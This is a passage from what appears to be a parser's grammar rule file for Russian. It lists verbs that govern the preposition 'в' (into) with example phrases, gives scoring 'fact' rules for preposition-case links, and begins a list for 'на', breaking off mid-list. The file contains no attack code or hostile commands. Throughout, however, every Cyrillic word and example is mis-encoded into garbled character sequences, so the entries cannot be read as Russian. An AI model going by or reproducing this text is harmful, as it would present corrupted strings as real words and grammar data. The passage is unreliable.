rus_verbs:ะฝะฐะฟัะฐะฒะปััััั{}, // ะฝะฐะฟัะฐะฒะปััััั ะฒ ะฟะพัั
rus_verbs:ะฟะพะฟะพะปะทัะธ{}, // ะฟะพะฟะพะปะทัะธ ะฒ ะดััะณัั ััะพัะพะฝั
rus_verbs:ะฟัััะธัััั{}, // ะฟัััะธัััั ะฒ ะฟะปัั
rus_verbs:ะทะฐะฑะธัััั{}, // ะทะฐะฑะธัััั ะฒ ะฝะพัั
rus_verbs:ะทะฐะปะตะทัั{}, // ะทะฐะปะตะทัั ะฒ ะบะพะฝััั
rus_verbs:ัะดะฐัั{}, // ัะดะฐัั ะฒ ััะธะปั
rus_verbs:ััะพะฝััััั{}, // ััะพะฝััััั ะฒ ะฟััั
rus_verbs:ััะณัะฐัั{}, // ััะณัะฐัั ะฒ ัะฐั
ะผะฐัั
rus_verbs:ะฟะตัะตะฒะตัะฝััั{}, // ะฟะตัะตะฒะตัะฝััั ะฒ ะฑะพะปะตะต ัะดะพะฑะฝัั ะฟะพะทั
rus_verbs:ัะถะธะผะฐัั{}, // ัะถะธะผะฐัั ะฟะฐะปััั ะฒ ะบัะปะฐะบ
rus_verbs:ะฟะพะดัะพะปะบะฝััั{}, // ะฟะพะดัะพะปะบะฝััั ะฒ ะฑะพะบ
rus_verbs:ะพัะฝะตััะธ{}, // ะพัะฝะตััะธ ะถะธะฒะพัะฝะพะต ะฒ ะปะตัะตะฑะฝะธัั
rus_verbs:ะพะดะตัััั{}, // ะพะดะตัััั ะฒ ะทะธะผะฝัั ะพะดะตะถะดั
rus_verbs:ะฟะปัะฝััั{}, // ะฟะปัะฝััั ะฒ ะบะพะปะพะดะตั
rus_verbs:ะฟะตัะตะดะฐะฒะฐัั{}, // ะฟะตัะตะดะฐะฒะฐัั ะฒ ะฟัะพะบััะฐัััั
rus_verbs:ะพััะบะพัะธัั{}, // ะพััะบะพัะธัั ะฒ ะปะพะฑ
rus_verbs:ะฟัะธะทะฒะฐัั{}, // ะฟัะธะทะฒะฐัั ะฒ ะฐัะผะธั
rus_verbs:ัะฒะตะทัะธ{}, // ัะฒะตะทัะธ ะฒ ะดะตัะตะฒะฝั
rus_verbs:ัะปะตัััั{}, // ัะปะตัััั ะฒ ะบัะพะฒะฐัะบั
rus_verbs:ะพััะฐัะฝััััั{}, // ะพััะฐัะฝััััั ะฒ ััะพัะพะฝั
rus_verbs:ะปะพะถะธัััั{}, // ะปะพะถะธัััั ะฒ ะฟะพััะตะปั
rus_verbs:ะฟัะพะปะตัะตัั{}, // ะฟัะพะปะตัะตัั ะฒ ะบะพะฝะตั
rus_verbs:ะบะปะฐััั{}, // ะบะปะฐััั ะฒ ัะตะนั
rus_verbs:ะดะพััะฐะฒะปััั{}, // ะดะพััะฐะฒะปััั ะฒ ะบะฐะฑะธะฝะตั
rus_verbs:ะฟัะธะพะฑัะตัะฐัั{}, // ะฟัะธะพะฑัะตัะฐัั ะฒ ะบัะตะดะธั
rus_verbs:ัะฒะพะดะธัั{}, // ัะฒะพะดะธัั ะฒ ัะตะฐัั
rus_verbs:ัะฝะตััะธ{}, // ัะฝะตััะธ ะฒ ะผะพะณะธะปั
rus_verbs:ะฟะพะบะฐัะธัััั{}, // ะฟะพะบะฐัะธัััั ะฒ ัะผั
rus_verbs:ัั
ะพะดะธัั{}, // ัั
ะพะดะธัั ะฒ ะผะฐะณะฐะทะธะฝัะธะบ
rus_verbs:ัะฟัััะธัั{}, // ัะฟัััะธัั ะฒ ะบะฐะฝะฐะปะธะทะฐัะธั
rus_verbs:ะฟัะพะฝะธะบะฐัั{}, // ะฟัะพะฝะธะบะฐัั ะฒ ัะตัะดัะตะฒะธะฝั
rus_verbs:ะผะตัะฝััั{}, // ะผะตัะฝััั ะฒ ะฑะพะปะฒะฐะฝะฐ ะณะฝะตะฒะฝัะน ะฒะทะณะปัะด
rus_verbs:ะฟะพะถะฐะปะพะฒะฐัััั{}, // ะฟะพะถะฐะปะพะฒะฐัััั ะฒ ะฐะดะผะธะฝะธัััะฐัะธั
rus_verbs:ััััะฐัั{}, // ััััะฐัั ะฒ ะผะตัะฐะปะปะธัะตัะบัั ะดะฒะตัั
rus_verbs:ัะฐัะธัั{}, // ัะฐัะธัั ะฒ ัะตะผะพะฝั
rus_verbs:ะทะฐะณะปัะดัะฒะฐัั{}, // ะทะฐะณะปัะดัะฒะฐัั ะฒ ะพัะฒะตัั
rus_verbs:ะฟะปัั
ะฝััััั{}, // ะฟะปัั
ะฝััััั ะฒ ััะพะป ะฐัะพะผะฐัะฝะพะณะพ ัะตะฝะฐ
rus_verbs:ัะฒะตััะธ{}, // ัะฒะตััะธ ะฒ ัะปะตะดัััะธะน ะบะฐะฑะธะฝะตั
rus_verbs:ััะฟะตะฒะฐัั{}, // ััะฟะตะฒะฐัั ะฒ ัะบะพะปั
rus_verbs:ะฟัะพะฑัะฐัััั{}, // ะฟัะพะฑัะฐัััั ะฒ ัะพะฑะฐััั ะบะพะฝััั
rus_verbs:ะฟะพะดะฐะฒะฐัั{}, // ะฟะพะดะฐะฒะฐัั ะฒ ััะด
rus_verbs:ะฟัะธะฑะตะถะฐัั{}, // ะฟัะธะฑะตะถะฐัั ะฒ ะบะพะฝััะฝั
rus_verbs:ัะฐััะผะพััะตัั{}, // ัะฐััะผะพััะตัั ะฒ ะผะธะบัะพัะบะพะฟ
rus_verbs:ะฟะฝััั{}, // ะฟะฝััั ะฒ ะถะธะฒะพั
rus_verbs:ะทะฐะฒะตัะฝััั{}, // ะทะฐะฒะตัะฝััั ะฒ ะดะตะบะพัะฐัะธะฒะฝัั ะฟะปะตะฝะบั
rus_verbs:ัะตะทะถะฐัั{}, // ัะตะทะถะฐัั ะฒ ะดะตัะตะฒะฝั
rus_verbs:ะฟัะธะฒะปะตะบะฐัั{}, // ะฟัะธะฒะปะตะบะฐัั ะฒ ัะฒะพะธ ััะดั
rus_verbs:ะฟะตัะตะฑัะฐัััั{}, // ะฟะตัะตะฑัะฐัััั ะฒ ะฟัะธะฑัะตะถะฝัะน ะณะพัะพะด
rus_verbs:ะดะพะปะธัั{}, // ะดะพะปะธัั ะฒ ะบะพะบัะตะนะปั
rus_verbs:ะฟะฐะปะธัั{}, // ะฟะฐะปะธัั ะฒ ะฝะฐะฟะฐะดะฐััะธั
rus_verbs:ะพัะพะฑัะฐัั{}, // ะพัะพะฑัะฐัั ะฒ ะบะพะปะปะตะบัะธั
rus_verbs:ัะปะตัะตัั{}, // ัะปะตัะตัั ะฒ ะฝะตะธะทะฒะตััะฝะพััั
rus_verbs:ะฒัะณะปัะฝััั{}, // ะฒัะณะปัะฝััั ะฒ ะพะบะฝะพ
rus_verbs:ะฒัะณะปัะดัะฒะฐัั{}, // ะฒัะณะปัะดัะฒะฐัั ะฒ ะพะบะฝะพ
rus_verbs:ะฟัะพะฑะธัะฐัััั{}, // ะณัะฐะฑะธัะตะปั, ะฟัะพะฑะธัะฐััะธะนัั ะฒ ะดะพะผ
ะธะฝัะธะฝะธัะธะฒ:ะฝะฐะฟะธัะฐัั{ aux stress="ะฝะฐะฟะธั^ะฐัั"}, // ัะธัะฐัะตะปั, ะฝะฐะฟะธัะฐะฒัะธะน ะฒ ะฑะปะพะณ
ะณะปะฐะณะพะป:ะฝะฐะฟะธัะฐัั{ aux stress="ะฝะฐะฟะธั^ะฐัั"},
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฝะฐะฟะธัะฐะฒัะธะน{ aux stress="ะฝะฐะฟะธั^ะฐะฒัะธะน"},
rus_verbs:ัะฒะตัะฝััั{}, // ัะฒะตัะฝััั ะฒ ะบะพะปะตัะบะพ
ะธะฝัะธะฝะธัะธะฒ:ัะฟะพะปะทะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ัะฟะพะปะทะฐัั ะฒ ะพะฒัะฐะณ
ะณะปะฐะณะพะป:ัะฟะพะปะทะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฟะพะปะทะฐััะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฟะพะปะทะฐะฒัะธะน{ ะฒะธะด:ะฝะตัะพะฒะตัั },
rus_verbs:ะฑะฐัะฐะฑะฐะฝะธัั{}, // ะฑะฐัะฐะฑะฐะฝะธัั ะฒ ะดะฒะตัั
rus_verbs:ะดะพะฟะธััะฒะฐัั{}, // ะดะพะฟะธััะฒะฐัั ะฒ ะบะพะฝะตั
rus_verbs:ะผะตะฝััััั{}, // ะผะตะฝััััั ะฒ ะปััััั ััะพัะพะฝั
rus_verbs:ะธะทะผะตะฝะธัััั{}, // ะธะทะผะตะฝะธัััั ะฒ ะปััััั ััะพัะพะฝั
rus_verbs:ะธะทะผะตะฝััััั{}, // ะธะทะผะตะฝััััั ะฒ ะปััััั ััะพัะพะฝั
rus_verbs:ะฒะฟะธัะฐัััั{}, // ะฒะฟะธัะฐัััั ะฒ ะฟะพะฒะพัะพั
rus_verbs:ะฒะฟะธััะฒะฐัััั{}, // ะฒะฟะธััะฒะฐัััั ะฒ ะฟะพะฒะพัะพัั
rus_verbs:ะฟะตัะตัะฐะฑะพัะฐัั{}, // ะฟะตัะตัะฐะฑะพัะฐัั ะฒ ัะดะพะฑัะตะฝะธะต
rus_verbs:ะฟะตัะตัะฐะฑะฐััะฒะฐัั{}, // ะฟะตัะตัะฐะฑะฐััะฒะฐัั ะฒ ัะดะพะฑัะตะฝะธะต
rus_verbs:ัะฟะพะปะทะฐัั{}, // ัะฟะพะปะทะฐัั ะฒ ัะตะฝั
rus_verbs:ะทะฐะฟะพะปะทะฐัั{}, // ะทะฐะฟะพะปะทะฐัั ะฒ ะฝะพัั
rus_verbs:ะฟะตัะตะฟัััะฐัั{}, // ะฟะตัะตะฟัััะฐัั ะฒ ัะบัะพะผะฝะพะต ะผะตััะพ
rus_verbs:ะทะฐัะฐะปะบะธะฒะฐัั{}, // ะทะฐัะฐะปะบะธะฒะฐัั ะฒ ะฒะฐะณะพะฝ
rus_verbs:ะฟัะตะพะฑัะฐะทะพะฒัะฒะฐัั{}, // ะฟัะตะพะฑัะฐะทะพะฒัะฒะฐัั ะฒ ัะฟะธัะพะบ
ะธะฝัะธะฝะธัะธะฒ:ะบะพะฝะฒะตััะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะบะพะฝะฒะตััะธัะพะฒะฐัั ะฒ ัะฟะธัะพะบ
ะณะปะฐะณะพะป:ะบะพะฝะฒะตััะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
ะธะฝัะธะฝะธัะธะฒ:ะบะพะฝะฒะตััะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะณะปะฐะณะพะป:ะบะพะฝะฒะตััะธัะพะฒะฐัั{ ะฒะธะด:ัะพะฒะตัั },
ะดะตะตะฟัะธัะฐััะธะต:ะบะพะฝะฒะตััะธัะพะฒะฐะฒ{},
ะดะตะตะฟัะธัะฐััะธะต:ะบะพะฝะฒะตััะธััั{},
rus_verbs:ะธะทะพัะฒะฐัั{}, // ะะฝ ะธะทะพัะฒะฐะป ะณะฐะทะตัั ะฒ ะบะปะพัะบะธ.
rus_verbs:ะฒัั
ะพะดะธัั{}, // ะะบะฝะฐ ะฒัั
ะพะดัั ะฒ ัะฐะด.
rus_verbs:ะณะพะฒะพัะธัั{}, // ะะฝ ะณะพะฒะพัะธะป ะฒ ะทะฐัะธัั ัะฒะพะตะณะพ ะพััะฐ.
rus_verbs:ะฒััะฐััะฐัั{}, // ะะฝ ะฒััะฐััะฐะตั ะฒ ะฑะพะปััะพะณะพ ั
ัะดะพะถะฝะธะบะฐ.
rus_verbs:ะฒัะฒะตััะธ{}, // ะะฝ ะฒัะฒะตะป ะดะตัะตะน ะฒ ัะฐะด.
// ะธะฝัะธะฝะธัะธะฒ:ะฒััะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะธะฝัะธะฝะธัะธะฒ:ะฒััะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั },
// ะณะปะฐะณะพะป:ะฒััะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะฒััะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ะะฝ ะฒััะฟะฐะป ะฒ ะฒะพะดั ะดะฒะต ะปะพะถะบะธ ัะพะปะธ.
// ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฐะฝะตะฝัะน{}, // ะะฝ ะฑัะป ัะฐะฝะตะฝ ะฒ ะปะตะฒัั ััะบั.
// ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะพะดะตััะน{}, // ะะฝ ะฑัะป ะพะดะตั ะฒ ัะพะปััะพะต ะพัะตะฝะฝะตะต ะฟะฐะปััะพ.
rus_verbs:ะฑัั
ะฝััััั{}, // ะะฝ ะฑัั
ะฝัะปัั ะฒ ะฒะพะดั.
rus_verbs:ัะบะปะพะฝััั{}, // ัะบะปะพะฝััั ะทะฐัะธัั ะฒ ัะฒะพั ะฟะพะปัะทั
rus_verbs:ะฒะฟะธัััั{}, // ะะธัะฒะบะฐ ะฒะฟะธะปะฐัั ะฒ ัะตะปะพ.
rus_verbs:ัั
ะพะดะธัััั{}, // ะะฝัะตะปะปะธะณะตะฝัั ะฝะฐัะฐะปะฐ ะฒะตะบะฐ ัะฐััะพ ัั
ะพะดะธะปะธัั ะฒ ัะฐะทะฝัะต ัะพัะทั
rus_verbs:ัะพั
ัะฐะฝััั{}, // ัะพั
ัะฐะฝะธัั ะดะฐะฝะฝัะต ะฒ ัะฐะนะป
rus_verbs:ัะพะฑะธัะฐัั{}, // ัะพะฑะธัะฐัั ะธะณัััะบะธ ะฒ ััะธะบ
rus_verbs:ัะฟะฐะบะพะฒัะฒะฐัั{}, // ัะฟะฐะบะพะฒัะฒะฐัั ะฒะตัะธ ะฒ ัะตะผะพะดะฐะฝ
rus_verbs:ะพะฑัะฐัะฐัััั{}, // ะะฑัะฐัะฐะนัะตัั ะบะพ ะผะฝะต ะฒ ะปัะฑะพะต ะฒัะตะผั
rus_verbs:ัััะตะปัะฝััั{}, // ัััะตะปัะฝะธ ะฒ ัะพะปะฟั!
rus_verbs:ะฟัะปััั{}, // ะฟัะปัะน ะฒ ัะพะปะฟั
rus_verbs:ะฟัะปัะฝััั{}, // ะฟัะปัะฝะธ ะฒ ัะพะปะฟั
rus_verbs:ััะฐะฝะพะฒะธัััั{}, // ะกัะฐะฝะพะฒะธัะตัั ะฒ ะพัะตัะตะดั.
rus_verbs:ะฒะฟะธัะฐัั{}, // ะฎะปั ะฒะฟะธัะฐะปะฐ ัะฒะพะต ะธะผั ะฒ ัะฟะธัะพะบ.
rus_verbs:ะฒะฟะธััะฒะฐัั{}, // ะั ะฒะฟะธััะฒะฐะปะธ ัะฒะพะธ ะธะผะตะฝะฐ ะฒ ัะฟะธัะพะบ
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒะธะดะฝัะน{}, // ะะปะฐะฝะตัะฐ ะะฐัั ะฒะธะดะฝะฐ ะฒ ะพะฑััะฝัะน ะฑะธะฝะพะบะปั
rus_verbs:ะฟะพะนัะธ{}, // ะะตะฒะพัะบะฐ ัะฐะฝะพ ะฟะพัะปะฐ ะฒ ัะบะพะปั
rus_verbs:ะพัะพะนัะธ{}, // ะญัะธ ะพะฑััะฐะธ ะพัะพัะปะธ ะฒ ะธััะพัะธั.
rus_verbs:ะฑะธัั{}, // ะฅะพะปะพะดะฝัะน ะฒะตัะตั ะฑะธะป ะตะผั ะฒ ะปะธัะพ.
rus_verbs:ะฒั
ะพะดะธัั{}, // ะญัะพ ะฒั
ะพะดะธั ะฒ ะตะณะพ ะพะฑัะทะฐะฝะฝะพััะธ.
rus_verbs:ะฟัะธะฝััั{}, // ะผะตะฝั ะฟัะธะฝัะปะธ ะฒ ะฟะธะพะฝะตัั
rus_verbs:ัะนัะธ{}, // ะัะฐะฒะธัะตะปัััะฒะพ ะ ะค ััะปะพ ะฒ ะพัััะฐะฒะบั
rus_verbs:ะดะพะฟัััะธัั{}, // ะฏะฟะพะฝะธั ะฑัะปะฐ ะดะพะฟััะตะฝะฐ ะฒ ะัะณะฐะฝะธะทะฐัะธั ะะฑัะตะดะธะฝัะฝะฝัั
ะะฐัะธะน ะฒ 1956 ะณะพะดั.
rus_verbs:ะฟะพัะฒััะธัั{}, // ะฏ ะฟะพัะฒััะธะป ะดััะณะฐ ะฒ ัะฒะพั ัะฐะนะฝั.
ะธะฝัะธะฝะธัะธะฒ:ัะบัะฟะพััะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, ะณะปะฐะณะพะป:ัะบัะฟะพััะธัะพะฒะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั }, // ัะบัะฟะพััะธัะพะฒะฐัั ะฝะตััั ะฒ ัััะฐะฝั ะะพััะพะบะฐ
rus_verbs:ะฒะทะณะปัะฝััั{}, // ะฏ ะฝะต ัะผะตะป ะฒะทะณะปัะฝััั ะตะผั ะฒ ะณะปะฐะทะฐ.
rus_verbs:ะธะดัะธ{}, // ะฏ ะธะดั ะณัะปััั ะฒ ะฟะฐัะบ.
rus_verbs:ะฒัะบะพัะธัั{}, // ะฏ ะฒัะบะพัะธะป ะฒ ััะฐะผะฒะฐะน ะธ ะฟะพะผัะฐะปัั ะฒ ะธะฝััะธััั.
rus_verbs:ะฟะพะปััะธัั{}, // ะญัั ะผะตะฑะตะปั ะผั ะฟะพะปััะธะปะธ ะฒ ะฝะฐัะปะตะดััะฒะพ ะพั ัะพะดะธัะตะปะตะน.
rus_verbs:ะฒะตะทัะธ{}, // ะฃัะธัะตะปั ะฒะตะทัั ะดะตัะตะน ะฒ ะปะฐะณะตัั.
rus_verbs:ะบะฐัะฐัั{}, // ะกัะดะฝะพ ะบะฐัะฐะตั ะฒะพ ะฒัะต ััะพัะพะฝั.
rus_verbs:ะทะฐะตะทะถะฐัั{}, // ะกะตะณะพะดะฝั ะฒะตัะตัะพะผ ั ะทะฐะตะทะถะฐะป ะฒ ะผะฐะณะฐะทะธะฝ ะทะฐ ะบะฝะธะณะฐะผะธ.
rus_verbs:ัะฒัะทะฐัั{}, // ะกะฒัะถะธัะต ัะฒะพะธ ะฒะตัะธ ะฒ ัะทะตะปะพะบ.
rus_verbs:ะฟัะพะฝะตััะธ{}, // ะัะพะฝะตัะธัะต ััะพะป ะฒ ะดะฒะตัั.
rus_verbs:ะฒัะฝะตััะธ{}, // ะะฐะดะพ ะฒัะฝะตััะธ ะฟัะธะผะตัะฐะฝะธั ะฒ ะบะพะฝะตั.
rus_verbs:ััััะพะธัั{}, // ะะฝะฐ ััััะพะธะปะฐ ััะฝะฐ ะฒ ัะบะพะปั.
rus_verbs:ัะณะพะดะธัั{}, // ะะฝะฐ ัะณะพะดะธะปะฐ ะณะพะปะพะฒะพะน ะฒ ะดะฒะตัั.
rus_verbs:ะพัะฒะตัะฝััััั{}, // ะะฝะฐ ัะตะทะบะพ ะพัะฒะตัะฝัะปะฐัั ะฒ ััะพัะพะฝั.
rus_verbs:ัะฐััะผะฐััะธะฒะฐัั{}, // ะะฝะฐ ัะฐััะผะฐััะธะฒะฐะปะฐ ััะตะฝั ะฒ ะฑะธะฝะพะบะปั.
rus_verbs:ะพะฑัะฐัะธัั{}, // ะะพะนะฝะฐ ะพะฑัะฐัะธะปะฐ ะณะพัะพะด ะฒ ัะฐะทะฒะฐะปะธะฝั.
rus_verbs:ัะพะนัะธัั{}, // ะั ัะพัะปะธัั ะฒ ัะบะพะปัะฝัะต ะณะพะดั.
rus_verbs:ะฟัะธะตั
ะฐัั{}, // ะั ะฟัะธะตั
ะฐะปะธ ะฒ ะฟะพะปะพะถะตะฝะฝัะน ัะฐั.
rus_verbs:ะฒััะฐัั{}, // ะะตัะธ ะฒััะฐะปะธ ะฒ ะบััะณ.
rus_verbs:ะฒะฟะฐััั{}, // ะะท-ะทะฐ ะฑะพะปะตะทะฝะธ ะพะฝ ะฒะฟะฐะป ะฒ ะฝัะถะดั.
rus_verbs:ะฟัะธะดัะธ{}, // ะฟัะธะดัะธ ะฒ ัะฟะฐะดะพะบ
rus_verbs:ะทะฐัะฒะธัั{}, // ะะฐะดะพ ะทะฐัะฒะธัั ะฒ ะผะธะปะธัะธั ะพ ะบัะฐะถะต.
rus_verbs:ะทะฐัะฒะปััั{}, // ะทะฐัะฒะปััั ะฒ ะฟะพะปะธัะธั
rus_verbs:ะตั
ะฐัั{}, // ะั ะฑัะดะตะผ ะตั
ะฐัั ะฒ ะััะป
rus_verbs:ะพะบัะฐัะธะฒะฐัััั{}, // ะพะบัะฐัะธะฒะฐัััั ะฒ ะบัะฐัะฝัะน ัะฒะตั
rus_verbs:ัะตัะธัั{}, // ะะตะปะพ ัะตัะตะฝะพ ะฒ ะฟะพะปัะทั ะธัััะฐ.
rus_verbs:ัะตััั{}, // ะะฝะฐ ัะตะปะฐ ะฒ ะบัะตัะปะพ
rus_verbs:ะฟะพัะผะพััะตัั{}, // ะะฝะฐ ะฟะพัะผะพััะตะปะฐ ะฝะฐ ัะตะฑั ะฒ ะทะตัะบะฐะปะพ.
rus_verbs:ะฒะปะตะทะฐัั{}, // ะพะฝ ะฒะปะตะทะฐะตั ะฒ ะผะพั ะบะฒะฐััะธัะบั
rus_verbs:ะฟะพะฟะฐััััั{}, // ะฒ ะผะพั ะปะพะฒััะบั ะฟะพะฟะฐะปะฐัั ะผััั
rus_verbs:ะปะตัะตัั{}, // ะั ะปะตัะธะผ ะฒ ะััะป
ะะ_ะะะค(ะฑัะฐัั), // ะพะฝ ะฑะตัะตั ะฒ ัะฒะพั ะฟัะฐะฒัั ััะบั ะพัะตะฝั ััะถะตะปัะน ัะตััะฐะฒัะน ะบะฐะผะตะฝั
ะะ_ะะะค(ะฒะทััั), // ะะพะปั ะฒะทัะป ะฒ ััะบั ะบะฐะผะตะฝั
ะะ_ะะะค(ะฟะพะตั
ะฐัั), // ะฟะพะตั
ะฐัั ะฒ ะบััะธะท
ะะ_ะะะค(ะฟะพะดะฐัั), // ะฟะพะดะฐัั ะฒ ะพัััะฐะฒะบั
ะธะฝัะธะฝะธัะธะฒ:ะทะฐััะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั }, ะณะปะฐะณะพะป:ะทะฐััะฟะฐัั{ ะฒะธะด:ัะพะฒะตัั }, // ะทะฐััะฟะฐัั ะฟะตัะพะบ ะฒ ััะธะบ
ะธะฝัะธะฝะธัะธะฒ:ะทะฐััะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั ะฟะตัะตั
ะพะดะฝะพััั:ะฟะตัะตั
ะพะดะฝัะน }, ะณะปะฐะณะพะป:ะทะฐััะฟะฐัั{ ะฒะธะด:ะฝะตัะพะฒะตัั ะฟะตัะตั
ะพะดะฝะพััั:ะฟะตัะตั
ะพะดะฝัะน }, // ะทะฐััะฟะฐัั ะฟะตัะพะบ ะฒ ััะธะบ
ะะ_ะะะค(ะฒะฟะฐะดะฐัั), ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒะฟะฐะดะฐััะธะน{}, ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฒะฟะฐะดะฐะฒัะธะน{}, ะดะตะตะฟัะธัะฐััะธะต:ะฒะฟะฐะดะฐั{}, // ะฒะฟะฐะดะฐัั ะฒ ะผะพัะต
ะะ_ะะะค(ะฟะพััััะฐัั) // ะฟะพััััะฐัั ะฒ ะดะฒะตัั
}
// ะงัะพะฑั ัะฐะทัะตัะธัั ัะฒัะทัะฒะฐะฝะธะต ะฒ ะฟะฐััะตัะฝะฐั
ัะธะฟะฐ: ัะนัะธ ะฒ BEA Systems
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะ_ะะธะฝ ะฟัะตะดะปะพะณ:ะฒ{} @regex("[a-z]+[0-9]*") }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะ_ะะธะฝ ะฟัะตะดะปะพะณ:ะฒ{} *:*{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะณะปะฐะณะพะป:ะฟะพะดะฒัะฒะฐัั{} ะฟัะตะดะปะพะณ:ะฒ{} ัััะตััะฒะธัะตะปัะฝะพะต:ัะฐะบั{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return true
}
#endregion ะะธะฝะธัะตะปัะฝัะน
// ะัะต ะพััะฐะปัะฝัะต ะฒะฐัะธะฐะฝัั ะฟะพ ัะผะพะปัะฐะฝะธั ะทะฐะฟัะตัะฐะตะผ.
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฒ{} *:*{ ะฟะฐะดะตะถ:ะฟัะตะดะป } }
then return false,-3
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฒ{} *:*{ ะฟะฐะดะตะถ:ะผะตัั } }
then return false,-3
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฒ{} *:*{ ะฟะฐะดะตะถ:ะฒะธะฝ } }
then return false,-4
}
fact ะณะป_ะฟัะตะดะป
{
if context { * ะฟัะตะดะปะพะณ:ะฒ{} * }
then return false,-5
}
#endregion ะัะตะดะปะพะณ_ะ
#region ะัะตะดะปะพะณ_ะะ
// ------------------- ะก ะะ ะะะะะะะ 'ะะ' ---------------------------
#region ะะ ะะะะะะะซะ
// ะะ+ะฟัะตะดะปะพะถะฝัะน ะฟะฐะดะตะถ:
// ะะะะะขะฌ ะะ ะกะขะะะ
#region VerbList
wordentry_set ะะป_ะะ_ะัะตะดะป=
{
rus_verbs:ะทะฐัะปััะฐัั{}, // ะะพะฟัะพั ะทะฐัะปััะฐะปะธ ะฝะฐ ัะตััะธะธ ะพะฑะปัะพะฒะตัะฐ
rus_verbs:ะะ ะะกะขะฃะะะขะฌ{}, // ะะฐ ะปะฑั, ะฝะพัั ะธ ัะตะบะต ะฟัะพัััะฟะฐะปะพ ัะตัะฝะพะต ะฟััะฝะพ ะบัะพะฒะพะฟะพะดัะตะบะฐ. (ะะ ะะกะขะฃะะะขะฌ/ะะ ะะกะขะฃะะะขะฌ)
rus_verbs:ะะ ะะกะขะฃะะะขะฌ{}, //
rus_verbs:ะะะะะะขะฌะกะฏ{}, // ะะฐ ะดััะณะพะน ััะพัะพะฝะต ะะบะตะฐะฝะฐ ะฒะธะดะฝะตะปะฐัั ะฟะพะปะพัะบะฐ ัััะธ, ะพะบััะถะฐะฒัะฐั ะฝะธะถะฝะธะน ัััั ะฟะปะฐะฝะตัั. (ะะะะะะขะฌะกะฏ)
rus_verbs:ะะะะะกะะขะฌ{}, // ะะฐัะธะฝะฐ ัะผะตะปะฐ ะทะฐะฒะธัะฐัั ะฒ ะฒะพะทะดัั
ะต ะฝะฐ ะปัะฑะพะน ะฒััะพัะต (ะะะะะกะะขะฌ)
rus_verbs:ะะะะะ ะะขะฌ{}, // ะกะบะพะปัะทะฝัะฒ ะฟะพ ััะฐะฒะต, ะพะฝ ะทะฐะผะตั ะฝะฐ ะฑะพะบั (ะะะะะ ะะขะฌ, ะปะพะบะฐัะธะฒ)
rus_verbs:ะะะะะ ะะขะฌ{}, //
rus_verbs:ะะะะ ะะะะขะฌ{}, // ะะฝ ะฒัััะธะป ะตะน ะปะธัะฝะธะน ะบะธะฝะถะฐะป, ะบะพัะพััะน ะพะฝะฐ ะฒะพัะบะฝัะปะฐ ะฒ ััะฑะฐั
ั ะธ ะทะฐะบัะตะฟะธะปะฐ ะฝะฐ ะฟะพะดะพะปะต. (ะะะะ ะะะะขะฌ)
rus_verbs:ะฃะะะะะขะ{}, // ะะฒะตัั ะทะฐะฒะธะทะถะฐะป ะธ ะฟะพะฟััะฐะปัั ัะฟะพะปะทัะธ ะฝะฐ ะดะฒัั
ะฝะตะฒัะตะดะธะผัั
ะฟะตัะตะดะฝะธั
ะฝะพะณะฐั
. (ะฃะะะะะขะ/ะฃะะะะะะขะฌ)
rus_verbs:ะฃะะะะะะขะฌ{}, //
rus_verbs:ะะะะขะะขะฌะกะฏ{}, // ะขะตะปะพ ะตะณะพ ะฑัะดะตั ะฑะพะปัะฐัััั ะฝะฐ ะฟัะพัััะฐะฝััะฒะตะฝะฝัั
ะฒะตััะฐั
, ะฟะพะบะฐ ะฝะต ัะณะฝะธะตั ะฒะตัะตะฒะบะฐ. (ะะะะขะะขะฌะกะฏ)
rus_verbs:ะ ะะะะะ ะะฃะขะฌ{}, // ะคะธะปะธะฟะฟะธะฝั ัะฐะทัะตัะฐั ะกะจะ ัะฐะทะฒะตัะฝััั ะฒะพะตะฝะฝัะต ะฑะฐะทั ะฝะฐ ัะฒะพะตะน ัะตััะธัะพัะธะธ (ะ ะะะะะ ะะฃะขะฌ)
rus_verbs:ะะะะฃะงะะขะฌ{}, // ะฏ ะฟััะฐะปัั ัะทะฝะฐัั ัะตะบัะตัั ะธ ะฟะพะปััะธัั ัะพะฒะตัั ะฝะฐ ะพัะธัะธะฐะปัะฝะพะผ ััััะบะพัะทััะฝะพะผ ัะพััะผะต (ะะะะฃะงะะขะฌ)
